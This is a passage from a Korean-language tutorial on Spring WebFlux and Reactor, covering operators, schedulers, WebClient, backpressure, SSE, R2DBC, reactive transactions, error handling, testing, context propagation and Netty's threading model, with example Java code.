switchIfEmpty(mono)비었으면 다른 흐름으로404 처리에 자주
onErrorReturn(v)에러면 대체값
onErrorResume(e -> mono)에러면 다른 흐름폴백
retry / retryWhen재시도백오프 설정 가능
timeout(d)제한 시간외부 호출엔 필수
■ 부수 효과 · 디버깅
doOnNext / doOnError흐름을 안 바꾸고 관찰로깅에 사용
log()모든 신호를 로그로디버깅 1순위

map vs flatMap — 가장 헷갈리는 지점

// map — 동기 변환. 결과가 그냥 값일 때
Mono<String> name = userMono.map(User::getName);

// flatMap — 반환값이 또 Mono/Flux 일 때
// ❌ map 을 쓰면 Mono<Mono<Order>> 가 되어 버린다
Mono<Mono<Order>> wrong = userMono.map(u -> orderRepo.findByUser(u.getId()));

// ✅ flatMap 이 한 겹 벗겨 준다
Mono<Order> right = userMono.flatMap(u -> orderRepo.findByUser(u.getId()));

// 실전 — 조회 → 검증 → 저장 체인
public Mono<OrderRes> pay(Long id) {
    return orderRepository.findById(id)
            .switchIfEmpty(Mono.error(new OrderNotFoundException(id)))
            .flatMap(order -> {
                order.pay();
                return orderRepository.save(order);
            })
            .map(OrderRes::from)
            .doOnSuccess(r -> log.info("결제 완료 {}", r.id()));
}

zip — 병렬 호출의 핵심 ★

// ❌ 순차 실행 — 300ms + 400ms = 700ms
public Mono<Dashboard> slow(Long id) {
    return userClient.get(id)
            .flatMap(user -> orderClient.get(id)
                    .map(orders -> new Dashboard(user, orders)));
}

// ✅ 동시 실행 — max(300, 400) = 400ms
public Mono<Dashboard> fast(Long id) {
    return Mono.zip(
            userClient.get(id),
            orderClient.get(id)
    ).map(t -> new Dashboard(t.getT1(), t.getT2()));
}

// 개수가 많으면 Tuple 대신 조합 함수
Mono.zip(list, arr -> combine(arr));

// 하나가 실패해도 나머지는 살리고 싶다면
Mono.zip(
    userClient.get(id).onErrorReturn(User.unknown()),
    orderClient.get(id).onErrorReturn(List.of())
)
FLUX 04

스레드 모델 · 스케줄러

여기가 WebFlux 에서 사고가 가장 많이 나는 곳입니다. 이벤트 루프를 막으면 서버 전체가 멈춥니다.

절대 규칙 — 이벤트 루프 스레드(reactor-http-nio-*)에서 블로킹 호출을 하면 안 됩니다. 스레드가 CPU 코어 수만큼(보통 4~8개)뿐이라 한 요청이 막히면 다른 수천 개 요청이 전부 멈춥니다.
블로킹의 예: JDBC · RestTemplate · Thread.sleep() · .block() · 파일 I/O · 무거운 CPU 연산
publishOn · subscribeOn — 한 체인에서 스레드가 바뀌는 두 지점 스레드 A — boundedElastic-1 (subscribeOn 이 '소스'에 배정) fromCallable(JDBC) map(검증) publishOn(parallel) 스레드 B — parallel-2 (publishOn 이후 전부) map(무거운 변환) subscribe(응답) subscribeOn — 어디에 적든 '소스'의 스레드를 정한다 (여러 개면 소스에 가까운 것만 유효) publishOn — 적힌 지점부터 '아래쪽'을 바꾼다 (여러 번 가능 · 위치가 곧 의미)
subscribeOn 은 소스부터, publishOn 은 그 지점부터 — 이 두 연산자 밖에서는 스레드가 저절로 바뀌지 않습니다.

스케줄러 종류

스케줄러용도
Schedulers.parallel()CPU 연산 (코어 수만큼)
Schedulers.boundedElastic()블로킹 작업 격리용 ★
Schedulers.immediate()현재 스레드 유지
Schedulers.single()전용 스레드 하나
Schedulers.fromExecutor(e)내 실행자 사용
// 어쩔 수 없이 블로킹 코드를 써야 한다면 반드시 격리
public Mono<Report> legacyReport(Long id) {
    return Mono.fromCallable(() -> legacyJdbcDao.find(id))   // 블로킹
               .subscribeOn(Schedulers.boundedElastic());     // 별도 스레드로 ★
}

// publishOn — 이 지점 '이후'의 스레드를 바꾼다
flux.publishOn(Schedulers.parallel())
    .map(this::heavyCompute);

// subscribeOn — 소스가 실행될 스레드를 바꾼다 (위치 무관, 한 번만 적용)
mono.subscribeOn(Schedulers.boundedElastic());

막힌 곳 찾기 — BlockHound

testImplementation("io.projectreactor.tools:blockhound:1.0.13.RELEASE")
// 테스트에서 켜 두면 블로킹 호출을 즉시 예외로 잡아 준다
@BeforeAll
static void setup() {
    BlockHound.install();
}

// 이런 코드가 있으면 바로 터집니다
// reactor.blockhound.BlockingOperationError:
//   Blocking call! java.lang.Thread.sleep
가장 흔한 실수 — WebFlux 프로젝트에 JPA(JDBC)를 그대로 쓰는 것입니다. JDBC 는 태생이 블로킹이라 리액티브의 이점이 완전히 사라집니다. R2DBC 를 쓰거나(다음 섹션), 못 바꾸면 boundedElastic 으로 격리하세요.
FLUX 05

컨트롤러 · 라우터 함수

MVC 와 똑같이 애너테이션으로 쓸 수도 있고, 함수형으로 쓸 수도 있습니다.

애너테이션 방식 — MVC 와 거의 같습니다

@RestController
@RequestMapping("/api/orders")
@RequiredArgsConstructor
public class OrderController {

    private final OrderService service;

    @GetMapping
    public Flux<OrderRes> list() {              // List 대신 Flux
        return service.findAll();
    }

    @GetMapping("/{id}")
    public Mono<OrderRes> get(@PathVariable Long id) {   // 단건은 Mono
        return service.get(id);
    }

    @PostMapping
    @ResponseStatus(HttpStatus.CREATED)
    public Mono<OrderRes> create(@Valid @RequestBody Mono<OrderCreateReq> req) {
        return req.flatMap(service::create);
    }

    @DeleteMapping("/{id}")
    public Mono<Void> delete(@PathVariable Long id) {
        return service.delete(id);
    }
}

반환 타입만 바뀌었을 뿐 구조는 MVC 와 동일합니다. 기존 MVC 경험을 그대로 살릴 수 있어 처음엔 이 방식을 권합니다.

함수형 방식 — 라우터

@Configuration
public class OrderRouter {

    @Bean
    public RouterFunction<ServerResponse> routes(OrderHandler handler) {
        return RouterFunctions.route()
                .path("/api/orders", builder -> builder
                        .GET("", handler::list)
                        .GET("/{id}", handler::get)
                        .POST("", handler::create)
                        .DELETE("/{id}", handler::delete))
                .filter((req, next) -> {           // 라우터 단위 필터
                    log.info("{} {}", req.method(), req.path());
                    return next.handle(req);
                })
                .build();
    }
}

@Component
@RequiredArgsConstructor
public class OrderHandler {
    private final OrderService service;

    public Mono<ServerResponse> get(ServerRequest req) {
        Long id = Long.valueOf(req.pathVariable("id"));
        return service.get(id)
                .flatMap(o -> ServerResponse.ok().bodyValue(o))
                .switchIfEmpty(ServerResponse.notFound().build());
    }

    public Mono<ServerResponse> create(ServerRequest req) {
        return req.bodyToMono(OrderCreateReq.class)
                .flatMap(service::create)
                .flatMap(o -> ServerResponse
                        .created(URI.create("/api/orders/" + o.id()))
                        .bodyValue(o));
    }
}
FLUX 06

WebClient — 논블로킹 HTTP 호출

RestTemplate의 후계입니다. MVC 프로젝트에서도 쓸 수 있습니다.

설정 — 타임아웃은 반드시

@Bean
public WebClient orderApiClient(WebClient.Builder builder) {
    HttpClient httpClient = HttpClient.create()
            .option(ChannelOption.CONNECT_TIMEOUT_MILLIS, 2000)
            .responseTimeout(Duration.ofSeconds(5))
            .doOnConnected(conn -> conn
                    .addHandlerLast(new ReadTimeoutHandler(5))
                    .addHandlerLast(new WriteTimeoutHandler(5)));

    return builder
            .baseUrl("https://api.example.com")
            .clientConnector(new ReactorClientHttpConnector(httpClient))
            .defaultHeader(HttpHeaders.CONTENT_TYPE, MediaType.APPLICATION_JSON_VALUE)
            .filter(logRequest())            // 요청 로깅
            .codecs(c -> c.defaultCodecs()
                    .maxInMemorySize(5 * 1024 * 1024))   // 응답 크기 제한 (기본 256KB)
            .build();
}

private ExchangeFilterFunction logRequest() {
    return ExchangeFilterFunction.ofRequestProcessor(req -> {
        log.debug("{} {}", req.method(), req.url());
        return Mono.just(req);
    });
}

호출하기

// GET
Mono<UserRes> user = client.get()
        .uri("/users/{id}", id)
        .retrieve()
        .bodyToMono(UserRes.class);

// 쿼리 파라미터
client.get().uri(b -> b.path("/users")
        .queryParam("status", "ACTIVE")
        .queryParam("page", 0).build());

// POST
Mono<OrderRes> res = client.post()
        .uri("/orders")
        .bodyValue(new OrderCreateReq(1L, 2))
        .retrieve()
        .bodyToMono(OrderRes.class);

// 목록
Flux<UserRes> users = client.get().uri("/users")
        .retrieve()
        .bodyToFlux(UserRes.class);

// 상태 코드별 처리 ★
client.get().uri("/users/{id}", id)
    .retrieve()
    .onStatus(s -> s.value() == 404,
              r -> Mono.error(new UserNotFoundException(id)))
    .onStatus(HttpStatusCode::is5xxServerError,
              r -> r.bodyToMono(String.class)
                    .map(body -> new ExternalApiException(body)))
    .bodyToMono(UserRes.class)
    .timeout(Duration.ofSeconds(3))
    .retryWhen(Retry.backoff(3, Duration.ofMillis(200))
                    .filter(e -> e instanceof TimeoutException))
    .onErrorResume(e -> Mono.just(UserRes.fallback()));
MVC 프로젝트에서 쓴다면 — .block() 으로 결과를 기다리면 됩니다. 다만 WebFlux 프로젝트에서는 .block() 이 금지입니다.
Spring 6.1 부터는 동기 호출 전용 RestClient 도 있습니다 Spring 6.1+ (현행 7.x) — MVC 라면 그쪽이 더 자연스럽습니다.
FLUX 07

백프레셔 — 감당할 만큼만 받기

생산자가 소비자보다 빠를 때 “천천히 주세요”라고 말할 수 있는 능력입니다. 리액티브의 진짜 차별점입니다.

데이터는 아래로 · 요청은 위로 — 속도의 주도권이 소비자에게 있다 생산자 DB · Flux 소스 소비자 subscriber onNext — 요청받은 100개만 request(100) — 준비되면 다시 요청 그래도 넘칠 때 — onBackpressure* 4전략 (하나만 골라 씁니다) buffer 쌓아둠 · 한도 필수 drop 넘치는 것부터 버림 latest 최신 것만 유지 error 즉시 실패시킴 request 를 무시하는 외부 push 소스는 이 완충 없이는 OOM 으로 직행합니다
백프레셔 = 소비자가 올려 보내는 request(n). 이 신호를 못 받는 소스만 onBackpressure* 로 완충합니다.

왜 필요한가

DB 가 초당 10만 건을 뿜는데
소비자는 초당 1천 건만 처리 가능하다면?

백프레셔 없음 → 메모리에 쌓임 → OOM 💥
백프레셔 있음 → "1천 개만 주세요" → 안정 ✅
// 전략 선택 — 넷 중 하나만 골라 씁니다 (체인으로 연결하는 게 아님)
flux.onBackpressureBuffer(1000);        // ① 1000개까지 버퍼
flux.onBackpressureDrop(v -> log.warn("버림: {}", v));  // ② 넘치면 버림
flux.onBackpressureLatest();            // ③ 최신 것만 유지
flux.onBackpressureError();             // ④ 넘치면 에러

// 속도 제한
flux.limitRate(100)                     // 한 번에 100개씩 요청
    .delayElements(Duration.ofMillis(10));

// 묶어서 처리 — DB 배치 저장에 유용 ★
flux.buffer(500)                        // 500개씩 묶음
    .flatMap(batch -> repository.saveAll(batch))
    .subscribe();

// 시간 기준으로 묶기
flux.bufferTimeout(500, Duration.ofSeconds(1));

동시 실행 개수 제한

// ❌ flatMap 기본 동시성은 256 — 외부 API 를 순식간에 때립니다
Flux.fromIterable(ids)
    .flatMap(id -> apiClient.get(id))
    .subscribe();

// ✅ 동시 실행 수를 제한
Flux.fromIterable(ids)
    .flatMap(id -> apiClient.get(id), 10)   // 최대 10개 동시
    .subscribe();

// 순서까지 지키려면
    .flatMapSequential(id -> apiClient.get(id), 10)

// 완전 순차 (가장 느리지만 안전)
    .concatMap(id -> apiClient.get(id))
실전에서 가장 자주 쓰는 조합 — .flatMap(fn, 동시개수) + .timeout() + .retryWhen(). 외부 API 를 대량 호출할 때 이 셋이 없으면 상대 서버를 다운시키거나 우리가 먼저 죽습니다.
FLUX 08

SSE · 스트리밍

WebFlux 가 가장 빛나는 영역입니다. 연결을 열어 두고 계속 흘려보내는 기능이 자연스럽게 됩니다.

Server-Sent Events

// 서버 → 클라이언트 단방향 실시간 푸시
@GetMapping(value = "/stream",
            produces = MediaType.TEXT_EVENT_STREAM_VALUE)
public Flux<OrderEvent> stream() {
    return orderEventPublisher.flux()
            .map(OrderEvent::from);
}

// 이벤트 메타데이터까지 담기
@GetMapping(value = "/sse", produces = TEXT_EVENT_STREAM_VALUE)
public Flux<ServerSentEvent<String>> sse() {
    return Flux.interval(Duration.ofSeconds(1))
            .map(i -> ServerSentEvent.<String>builder()
                    .id(String.valueOf(i))
                    .event("tick")
                    .data("현재 시각 " + LocalTime.now())
                    .retry(Duration.ofSeconds(3))   // 끊기면 재연결 간격
                    .build());
}

// 연결이 끊겼을 때 정리
.doOnCancel(() -> log.info("클라이언트 연결 종료"))
.doFinally(sig -> cleanup());
// 브라우저 쪽
const es = new EventSource('/api/orders/sse');
es.addEventListener('tick', e => console.log(e.data));
es.onerror = () => es.close();

대용량 데이터 스트리밍

// 100만 건을 메모리에 안 올리고 흘려보내기
@GetMapping(value = "/export",
            produces = MediaType.APPLICATION_NDJSON_VALUE)
public Flux<OrderRes> export() {
    return orderRepository.findAllBy()      // R2DBC 는 스트리밍이 기본
            .map(OrderRes::from);
}
// 응답: 한 줄에 하나씩 JSON (NDJSON)
// {"id":1,...}
// {"id":2,...}

// 여러 소스를 합쳐 실시간 대시보드로
Flux.merge(
        orderEvents.map(Event::of),
        paymentEvents.map(Event::of),
        Flux.interval(Duration.ofSeconds(30)).map(i -> Event.heartbeat())
).share();          // 여러 구독자가 같은 스트림을 공유
SSE vs WebSocket — 서버 → 클라이언트 단방향이면 SSE 가 훨씬 간단합니다 (HTTP 그대로라 프록시·인증이 쉽고 자동 재연결도 됩니다). 양방향(채팅·게임)이 필요할 때만 WebSocket 을 쓰세요.
FLUX 09

R2DBC — WebFlux 전용 DB 접근

JDBC 는 태생이 블로킹이라 WebFlux 와 맞지 않습니다. R2DBC 는 논블로킹 DB 드라이버 표준입니다.

build.gradle.kts
implementation("org.springframework.boot:spring-boot-starter-data-r2dbc")
runtimeOnly("io.asyncer:r2dbc-mysql") · runtimeOnly("org.postgresql:r2dbc-postgresql") · runtimeOnly("io.r2dbc:r2dbc-h2")

설정

spring:
  r2dbc:
    url: r2dbc:mysql://localhost:3306/mydb   # jdbc: 가 아니라 r2dbc:
    username: ${DB_USER}
    password: ${DB_PASSWORD}
    pool:
      initial-size: 10
      max-size: 30
      max-idle-time: 30m
  sql:
    init:
      mode: always          # schema.sql 실행 (개발용)

엔티티 — JPA 와 다릅니다

@Table("orders")                       // @Entity 아님
public class Order {

    @Id
    private Long id;                   // jakarta 가 아니라 spring-data 의 @Id

    @Column("customer_name")
    private String customerName;

    private int amount;

    @Column("created_at")
    private LocalDateTime createdAt;

    // ⚠️ 연관관계 매핑이 없습니다 (@OneToMany 없음)
    //    필요하면 ID 를 들고 직접 조회해서 조합합니다
    private Long userId;
}

리포지토리

public interface OrderRepository extends ReactiveCrudRepository<Order, Long> {

    // 쿼리 메서드 — JPA 와 문법이 같습니다
    Flux<Order> findByStatus(OrderStatus status);
    Mono<Order> findByOrderNo(String orderNo);
    Mono<Long> countByUserId(Long userId);
    Mono<Boolean> existsByOrderNo(String orderNo);

    // 직접 SQL — JPQL 이 아니라 '진짜 SQL' 입니다
    @Query("""
        SELECT o.* FROM orders o
         WHERE o.user_id = :userId
           AND o.created_at >= :from
         ORDER BY o.created_at DESC
        """)
    Flux<Order> findRecent(Long userId, LocalDateTime from);

    @Modifying
    @Query("UPDATE orders SET status = :status WHERE id = :id")
    Mono<Integer> updateStatus(Long id, String status);
}

// 사용
public Mono<OrderRes> get(Long id) {
    return orderRepository.findById(id)
            .switchIfEmpty(Mono.error(new OrderNotFoundException(id)))
            .map(OrderRes::from);
}

public Flux<OrderRes> list(OrderStatus status) {
    return orderRepository.findByStatus(status).map(OrderRes::from);
}

연관 데이터는 직접 조합합니다

// JPA 의 @OneToMany 가 없으므로 이렇게 씁니다
public Mono<OrderDetail> getDetail(Long orderId) {
    return orderRepository.findById(orderId)
            .flatMap(order -> Mono.zip(
                    Mono.just(order),
                    itemRepository.findByOrderId(orderId).collectList(),
                    userRepository.findById(order.getUserId())
            ))
            .map(t -> new OrderDetail(t.getT1(), t.getT2(), t.getT3()));
}

// 목록 + 각각의 상세 — N+1 이 되지 않게 한 번에 모아 조회 ★
public Flux<OrderDetail> listWithItems(List<Long> orderIds) {
    Mono<Map<Long, List<Item>>> itemMap = itemRepository
            .findByOrderIdIn(orderIds)
            .collectMultimap(Item::getOrderId)
            .map(m -> m.entrySet().stream().collect(
                    Collectors.toMap(Map.Entry::getKey, e -> List.copyOf(e.getValue()))));

    return itemMap.flatMapMany(map ->
            orderRepository.findAllById(orderIds)
                    .map(o -> new OrderDetail(o, map.getOrDefault(o.getId(), List.of()))));
}

복잡한 쿼리 — DatabaseClient

@Repository
@RequiredArgsConstructor
public class OrderQueryRepository {

    private final DatabaseClient client;

    public Flux<OrderSummary> summarize(LocalDate from, LocalDate to) {
        return client.sql("""
                SELECT u.name         AS user_name,
                       COUNT(*)       AS order_count,
                       SUM(o.amount)  AS total_amount
                  FROM orders o
                  JOIN users u ON u.id = o.user_id
                 WHERE o.created_at BETWEEN :from AND :to
                 GROUP BY u.name
                 ORDER BY total_amount DESC
                """)
                .bind("from", from.atStartOfDay())
                .bind("to", to.atTime(23, 59, 59))
                .map((row, meta) -> new OrderSummary(
                        row.get("user_name", String.class),
                        row.get("order_count", Long.class),
                        row.get("total_amount", Long.class)))
                .all();
    }
}
R2DBC 를 쓰기 전에 알아야 할 것
① 연관관계 매핑·지연 로딩·더티 체킹이 없습니다 — JPA 의 편의 기능 대부분이 없습니다. 직접 조합해야 합니다.
② QueryDSL 을 못 씁니다 — 동적 쿼리는 문자열을 조립하거나 Criteria API 를 씁니다.
③ 지원 DB 가 제한적입니다 — MySQL·PostgreSQL·MSSQL·H2·Oracle. 그 외는 확인이 필요합니다.
④ 그래서 “단순 조회가 대량으로 일어나는 서비스”에 잘 맞고, 복잡한 도메인 모델이 있다면 MVC + JPA + 가상 스레드가 나은 선택인 경우가 많습니다.
FLUX 10

리액티브 트랜잭션

@Transactional 이 그대로 동작하지만, 스레드가 아니라 리액티브 컨텍스트를 타고 흐른다는 점이 다릅니다.

@Configuration
public class R2dbcConfig {
    @Bean
    public ReactiveTransactionManager transactionManager(ConnectionFactory cf) {
        return new R2dbcTransactionManager(cf);
    }
}

@Service
@RequiredArgsConstructor
public class OrderService {

    private final OrderRepository orderRepository;
    private final StockRepository stockRepository;

    @Transactional                       // 리액티브에서도 그대로 동작
    public Mono<Order> create(OrderCreateReq req) {
        return stockRepository.findByProductId(req.productId())
                .switchIfEmpty(Mono.error(new StockNotFoundException()))
                .flatMap(stock -> {
                    if (stock.getQuantity() < req.quantity())
                        return Mono.error(new InsufficientStockException());
                    stock.decrease(req.quantity());
                    return stockRepository.save(stock);
                })
                .then(orderRepository.save(Order.from(req)));
                // 어느 단계에서 에러가 나도 전체 롤백 ✅
    }
}

직접 제어하기

@RequiredArgsConstructor
public class OrderService {
    private final TransactionalOperator tx;

    public Mono<Order> create(OrderCreateReq req) {
        return doWork(req)
                .as(tx::transactional);      // 이 체인 전체가 한 트랜잭션
    }
}
주의할 점
① 체인 밖에서 실행되는 코드는 트랜잭션에 안 들어갑니다. 반드시 flatMap·then 으로 이어 붙이세요.
② JDBC 트랜잭션과 섞이지 않습니다 — 한 메서드에서 JPA 와 R2DBC 를 같이 쓰면 롤백이 따로 놉니다.
③ publishOn 으로 스레드를 바꿔도 컨텍스트는 따라가지만, Mono.fromCallable 안의 블로킹 JDBC 호출은 별개입니다.
FLUX 11

에러 처리 · 재시도

리액티브에서는 예외가 신호로 흐르기 때문에 try/catch 로는 못 잡습니다.

// ❌ 이렇게는 안 잡힙니다
try {
    return service.find(id);     // Mono 를 만들 뿐, 에러는 나중에 흐름
} catch (Exception e) { }        // 절대 안 걸림

// ✅ 연산자로 처리 — 아래는 '골라 쓰는' 목록입니다
//    (전부 이으면 1) 이 모든 에러를 먼저 삼켜 2)~4) 는 영영 안 걸립니다)
service.find(id)
    // 1) 대체값
    .onErrorReturn(Order.empty())

    // 2) 특정 예외만
    .onErrorReturn(TimeoutException.class, Order.empty())

    // 3) 다른 흐름으로 (폴백)
    .onErrorResume(e -> {
        log.warn("주 저장소 실패, 캐시 조회", e);
        return cacheRepository.find(id);
    })

    // 4) 예외를 바꿔서 다시 던지기
    .onErrorMap(DataAccessException.class,
                e -> new ServiceException("DB 오류", e))

    // 5) 비어 있을 때
    .switchIfEmpty(Mono.error(new OrderNotFoundException(id)))

    // 6) 성공·실패 관계없이
    .doFinally(sig -> meter.increment(sig.name()));

재시도 — 지수 백오프

apiClient.call()
    .timeout(Duration.ofSeconds(3))
    .retryWhen(
        Retry.backoff(3, Duration.ofMillis(200))   // 200ms, 400ms, 800ms
             .maxBackoff(Duration.ofSeconds(5))
             .jitter(0.5)                          // 동시 재시도 분산
             .filter(e -> e instanceof TimeoutException
                       || e instanceof WebClientRequestException)
             .onRetryExhaustedThrow((spec, signal) ->
                     new ExternalApiException("재시도 초과", signal.failure()))
    )
    .onErrorResume(e -> Mono.just(fallbackValue()));
재시도하면 안 되는 것 — 결제·주문 생성처럼 중복이 치명적인 요청은 멱등키(Idempotency-Key) 없이 재시도하면 이중 결제가 납니다. 400 번대 에러도 재시도해 봐야 결과가 같습니다 — filter 로 일시적 오류만 골라내세요.
오류가 나면 흐름이 끝납니다 — 무엇으로 이어갈지 정합니다 오류 신호 타임아웃 · 5xx onErrorReturn — 기본값 onErrorResume — 다른 흐름으로 onErrorMap — 우리 예외로 변환 고르는 기준 캐시된 값·빈 목록으로 넘어가도 되면 Return 대체 서비스가 있으면 Resume 위로 알려야 하면 Map 으로 의미를 담아서 재시도 — 간격을 늘려 가며 Retry.backoff(3, 200ms).jitter(0.5) 첫 실패 재시도 1 재시도 2 재시도 3 대기 간격 200ms 400ms 800ms 0 200 400 600 800 1000 1200 1400 누적 경과 시간(ms) 간격이 2배씩 벌어집니다 — 셋을 다 쓰면 1.4초 maxBackoff(5s) 로 상한을 둡니다 지터가 없으면 모두가 같은 순간에 다시 몰립니다 재시도하면 안 되는 것 4xx — 잘못된 요청은 다시 보내도 같습니다 멱등하지 않은 쓰기 — 중복 결제가 됩니다(k07) 타임아웃을 함께 걸어 두세요 — .timeout(3s) 이 없으면 상대가 응답하지 않을 때 우리 쪽 자원이 계속 묶입니다
재시도는 대상을 좁히고 간격을 벌릴 때만 도움이 됩니다.
오류가 나면 흐름이 끝납니다 — 무엇으로 이어갈지 정합니다 오류 신호 타임아웃 · 5xx onErrorReturn — 기본값 onErrorResume — 다른 흐름으로 onErrorMap — 우리 예외로 변환 고르는 기준 캐시된 값·빈 목록으로 넘어가도 되면 Return 대체 서비스가 있으면 Resume 위로 알려야 하면 Map 으로 의미를 담아서 재시도 — 간격을 늘려 가며 retryWhen(Retry.backoff(3, 200ms).jitter(0.5)) 200ms → 400ms → 800ms 로 벌리고 흔들어 줍니다 지터가 없으면 모두가 같은 순간에 다시 몰립니다 재시도하면 안 되는 것 4xx — 잘못된 요청은 다시 보내도 같습니다 멱등하지 않은 쓰기 — 중복 결제가 됩니다(k07) 타임아웃을 함께 걸어 두세요 — .timeout(2s) 이 없으면 상대가 응답하지 않을 때 우리 쪽 자원이 계속 묶입니다
재시도는 대상을 좁히고 간격을 벌릴 때만 도움이 됩니다.
FLUX 12

디버깅 · 테스트 · 함정

리액티브의 가장 큰 비용은 디버깅 난이도입니다. 도구를 알아 두면 훨씬 수월합니다.

디버깅

// 1) log() — 모든 신호를 찍는다
flux.log("order-flow")
    .filter(...)
    .log("after-filter");
// onSubscribe / request(N) / onNext(v) / onComplete

// 2) checkpoint() — 스택 트레이스에 위치 표시
mono.checkpoint("주문 조회 단계")
    .flatMap(...)
    .checkpoint("결제 단계");

// 3) 전역 디버그 모드 (개발 환경만! 성능 비용이 큽니다)
@PostConstruct
void init() { Hooks.onOperatorDebug(); }

// 4) doOn* 으로 관찰 (흐름을 바꾸지 않음)
.doOnSubscribe(s -> log.info("시작"))
.doOnNext(v -> log.debug("값: {}", v))
.doOnError(e -> log.error("실패", e))
.doOnCancel(() -> log.warn("취소됨"))

테스트 — StepVerifier

@Test
void 주문_조회() {
    given(repository.findById(1L)).willReturn(Mono.just(order));

    StepVerifier.create(service.get(1L))
            .expectNextMatches(r -> r.id().equals(1L))
            .verifyComplete();
}

@Test
void 없으면_예외() {
    given(repository.findById(1L)).willReturn(Mono.empty());

    StepVerifier.create(service.get(1L))
            .expectError(OrderNotFoundException.class)
            .verify();
}

@Test
void 시간을_당겨서_테스트() {
    StepVerifier.withVirtualTime(() ->
            Flux.interval(Duration.ofHours(1)).take(3))
        .thenAwait(Duration.ofHours(3))     // 3시간을 즉시 통과
        .expectNextCount(3)
        .verifyComplete();
}

자주 밟는 함정

증상원인 · 해결
아무 일도 안 일어남구독 안 함. 반환하거나 subscribe()
서버가 통째로 멈춤이벤트 루프에서 블로킹. boundedElastic 으로 격리
스택 트레이스가 안 읽힘checkpoint() 추가, Hooks.onOperatorDebug()
MDC 로그 컨텍스트가 사라짐스레드가 바뀌기 때문. contextWrite 사용
Mono<Mono<T>>map 을 flatMap 으로
같은 소스가 두 번 실행됨구독마다 재실행됨. cache() 사용
DataBufferLimitException응답이 256KB 초과. maxInMemorySize 조정
순서가 뒤죽박죽flatMap 은 순서 미보장 → concatMap
// 로그 추적 ID 를 리액티브 컨텍스트로 전달
mono.contextWrite(ctx -> ctx.put("traceId", traceId));

// 읽는 쪽
Mono.deferContextual(ctx -> {
    String traceId = ctx.get("traceId");
    return Mono.just(...);
});

MDC · 추적 ID 를 자동으로 — context-propagation 한 방 정리

손으로 옮기지 마세요 — 자동 전파 켜기

implementation("io.micrometer:context-propagation")
// ① 시작 시 한 번 — Reactor 3.5+
@PostConstruct
void init() {
    Hooks.enableAutomaticContextPropagation();
}

// ② MDC 키를 등록 — ThreadLocal ↔ Reactor Context 다리
ContextRegistry.getInstance().registerThreadLocalAccessor(
        "traceId",
        () -> MDC.get("traceId"),          // 읽기
        v  -> MDC.put("traceId", v),       // 복원
        () -> MDC.remove("traceId"));      // 정리

// 이제 스레드가 바뀌어도 로그에 traceId 가 그대로 찍힙니다
return orderService.find(id)               // boundedElastic 을 넘나들어도
        .doOnNext(o -> log.info("조회"))    // [traceId=abc] 유지 ✅
        .contextWrite(Context.of("traceId", traceId));

// 스프링 부트 3.x + micrometer-tracing 이면 traceId·spanId 는
// 자동 등록 — 위 등록은 '커스텀 MDC 키'에만 필요합니다

Context 의 두 가지 반전 — 모르면 하루를 버립니다

// 반전 ① Context 는 '아래에서 위로' 흐릅니다 (구독 시점에 전파)
Mono.deferContextual(ctx -> Mono.just(ctx.<String>get("k")))   // 읽기는 위에서
    .contextWrite(ctx -> ctx.put("k", "v")) // 쓰기는 '아래'에 있어야 보임 ★
// contextWrite 를 읽는 코드보다 '위'에 두면 못 읽습니다
// (연산자 체인은 아래→위로 구독되기 때문)

// 반전 ② onErrorResume 안에서도 Context 는 유지되지만,
//        새로 만든 체인(Mono.just 등)에는 이어 줘야 합니다
.onErrorResume(e -> Mono.deferContextual(ctx ->
        fallback(ctx.get("traceId"))))

// 자동 전파의 비용 — 연산자마다 스냅숏 복원이 붙습니다
// 초고처리량 구간(초당 수십만 onNext)은 수 % 오버헤드
// → 그 구간만 Hooks 끄고 handle/tap 으로 수동 전달하는 것도 방법
정리 — 운영 서비스라면 자동 전파 + micrometer-tracing 이 기본값입니다. “로그에 traceId 가 끊긴다”는 이슈의 90% 는 ① 훅을 안 켰거나 ② contextWrite 위치가 위에 있거나 둘 중 하나입니다.
FLUX 13

Netty 구조 — 왜 WebFlux가 빠른가

WebFlux 아래에는 항상 Netty가 깔려 있습니다. 여기를 모르면 튜닝도 장애 분석도 추측이 됩니다.

boss 는 accept 만 · worker 는 자기 채널만 — 채널은 평생 한 루프에 삽니다 연결 요청 10,000개 boss accept 만 루프 1개 · 나눠 주기만 합니다 worker-1 2,500 채널 worker-2 2,500 채널 worker-3 2,500 채널 worker-4 2,500 채널 한 채널 = 평생 한 스레드 막히면 2,500개가 함께 멈춤 한 채널의 이벤트는 항상 같은 스레드 → 핸들러 안에서 동기화가 필요 없다 (어피니티) 대신 worker 하나가 막히면 그 채널 전부가 멈춘다 — 15번 그림으로 이어집니다 worker 수 = CPU 코어 수 (Reactor Netty 기본, 최소 4) — 연결 수가 아니라 코어 수
Netty 의 속도 비결 = 스레드 수를 소켓 수에서 분리한 것. 1만 연결도 코어 수만큼의 스레드로 감당합니다.

Reactor 패턴 — 스레드 하나가 수천 소켓을 본다

[ 톰캣 · 블로킹 ]
소켓 1  → 스레드 1  (read() 에서 멈춰 있음)
소켓 2  → 스레드 2  (read() 에서 멈춰 있음)
소켓 N  → 스레드 N   … 스레드 = 소켓 개수

[ Netty · Reactor 패턴 ]
소켓 1 ┐
소켓 2 ├→ [ Selector / epoll ] → 이벤트 루프 스레드 1개
  …    │      "읽을 게 생긴 소켓만 알려 줘"
소켓 N ┘
      → 이벤트가 온 소켓만 골라서 처리 → 다음 소켓
      스레드는 '기다리지' 않고 '깨워질 때만' 일한다

핵심은 스레드 수를 소켓 수에서 분리한 것입니다. 연결 1만 개가 있어도 실제로 데이터가 오가는 건 그중 수백 개뿐이므로, CPU 코어 수만큼의 스레드로 전부 감당할 수 있습니다. 컨텍스트 스위칭과 스레드 스택(기본 1MB × N)이 통째로 사라지는 것이 WebFlux 가 메모리를 적게 먹는 진짜 이유입니다.

EventLoopGroup — boss와 worker

// boss   : accept() 만 담당 (연결 수락) — 보통 1개면 충분
// worker : 수락된 연결의 read/write 를 전담 — 코어 수만큼
EventLoopGroup boss   = new MultiThreadIoEventLoopGroup(1, NioIoHandler.newFactory());
EventLoopGroup worker = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());

// ★ 한 Channel 은 평생 같은 EventLoop 에 묶인다 (스레드 어피니티)
//    → 그 채널의 핸들러 안에서는 동기화가 필요 없다
//    → 대신 그 스레드를 막으면 '그 EventLoop 에 붙은 다른 수천 연결'도 같이 멈춘다

ChannelPipeline — 요청이 지나가는 컨베이어

소켓에서 바이트 도착
   ↓  Inbound (아래 → 위)
[ SslHandler ] → [ HttpServerCodec ] → [ 집계 ] → [ 내 핸들러 ]
   ↑  Outbound (위 → 아래)
소켓으로 바이트 전송

